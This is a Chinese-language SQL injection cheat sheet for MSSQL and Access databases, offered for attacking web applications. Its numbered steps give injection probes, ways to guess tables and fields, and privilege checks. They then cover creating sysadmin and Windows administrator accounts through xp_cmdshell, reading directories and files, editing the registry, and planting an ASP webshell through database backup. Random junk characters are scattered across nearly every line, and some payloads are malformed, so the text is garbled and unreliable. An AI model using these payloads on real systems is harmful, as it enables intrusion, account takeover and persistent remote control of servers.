1.判断是否有注入;and 1=1 ;and 1=2 *n"{J(Jt`
2.初步判断是否是mssql ;and user>0 Ht&YC<X
wS3'?PRX
3.注入参数是字符'and [查询条件] and ''=' U`s{Jm
W!(LF7_!
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %N_%JK\{@
9MqGIOQ${j
5.判断数据库系统 q" 5(H5
,"0:3+(8;
;and (select count(*) from sysobjects)>0 mssql N4HqLh23H
|vzl. ^"-
;and (select count(*) from msysobjects)>0 access M"To&?OI
QSf|nNT
rQ snhv
f|oh.z_R
6.猜数据库 ;and (select Count(*) from [数据库名])>0 '/%H3A#L
J4U1t2@)9
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Qe(:|q_
_h1mF<\ X^
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 S`Rs82>
T&7qC=E#5
9.(1)猜字段的ascii值(access) ={Qi0Pvt
UkGCyGyZ[
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 q-d:TMkc
Fv`,3aNB
(2)猜字段的ascii值(mssql) LjHVJSC
L9#g)tf
8T
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 seeBS/%
'@P^0+B!(.
10.测试权限结构(mssql) b5n'=doR/I
cj5+NM"
l%i+cO D
%ULr8)R;
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8, >P
&b& ,
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <p"iY}x[H
;gr9/Vl
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +^T@sa`[I
NQ2E
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Pk)1WK7E
;sFF+^~L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- +=8VTCn?
uM6+?A9@l
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- UW
EV^ &"x
VY\&8n}e(
;and 1=(select IS_MEMBER('db_owner'));-- iAU@Yg`pt
V3j= Kf
_:27]K:
{Y9q[D'g .
11.添加mssql和系统的帐户 L*JjG sTH
;4~hB
;exec master.dbo.sp_addlogin username;-- cYt!n5w~W
;exec master.dbo.sp_password null,username,password;-- N] sAji*
%84rL?S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Th%Sjgsn
um0N)&iY
;exec master.dbo.xp_cmdshell 'net user username password M =r)I~
~qOa\#x_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ZJs$STJ*
c0u^zH<
;exec master.dbo.xp_cmdshell 'net user username password /add';-- E?0%Z&1h
wAW5
Z0D
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 'b{]:Y
K(Bf2Mfq
3$9W%3
kPLxEwl
12.(1)遍历目录 E~oOKQ5W
9qG6Pb
;create table dirs(paths varchar(100), id int) B&uz;L3
,\%c^,HLJ
;insert dirs exec master.dbo.xp_dirtree 'c:\' !Q0w\j h
s!7y
;and (select top 1 paths from dirs)>0 Y/zj[>
JcxThZP~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %8~NqS|=
YcpoL@ab
>I&5j/&}+
s,&Z=zt0R
(2)遍历目录 %OOl'o"V{s
$ gS>FJ
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- v
z '&%(
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ^3L0w}#
'$%l7
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Ej8^Zg
A{D];pE`
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 JrRH\+4K
_>X+ZlpU:
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 'AS|ZRr/
:E )>\&
@QP z#-
<l E<f+
13.mssql中的存储过程 -z%^)VE
q6V>zi
xp_regenumvalues 注册表根键, 子键 \n|EM@=eE
.jjG(L
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *mvlb
(' &
$C$V%5aA
xp_regread 根键,子键,键值名 >jc [nk
Q:d]imw!O
;exec xp_regread ,M
^<CJ
Uf;^%*P4
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 )cMh0SGcM1
\\B(r
xp_regwrite 根键,子键, 值名, 值类型, 值 :emiQ
|"CZ T#
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 w-L=LWL\
N)\. [v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ^'{Fh"5
j/c&xv7=
xp_regdeletevalue 根键,子键,值名 HJ[c M6$2
-3Z,EaG^
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 7CURhDdk
4*cEag
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6HWE~`ok6
E,x+JeKV
(m(JK^
.:%0E`E
14.mssql的backup创建webshell tGE$z]1c@
yEoF4bt
use model 2E)-M9ds
6Vnsi%{
create table cmd(str image); ]dmrkZz:
:zke %Yx
insert into cmd(str) values (''); ,77d(bR<
WUXx;9 >
backup database model to disk='c:\l.asp'; k:#!zK}
MKD1V8i
dhf!o0'1M
' ;FnIZ
15.mssql内置函数 '9Xu
p
XZ]uUP
;and (select @@version)>0 获得Windows的版本号 SaAFz&WRl
&4x}ppX
;and user_name()='dbo' 判断当前系统的连接用户是不是sa *:LK8U
IT7wT+
;and (select user_name())>0 爆当前系统的连接用户 :tB1D@Cb6
6"5A%{J
;and (select db_name())>0 得到当前连接的数据库 v,{
:Ez(H
%i9E @EV
gw3K+P
0oZ=
yh
16.简洁的webshell )D5"ap]fX
t?-n*9,#S
use model =9boya,>
kYqU9cB~
create table cmd(str image); HU8900k+
;!mzyb*
insert into cmd(str) values (''); FaQe_;
2~1SQ.Q<RY
backup database model to disk='g:\wwwtest\l.asp';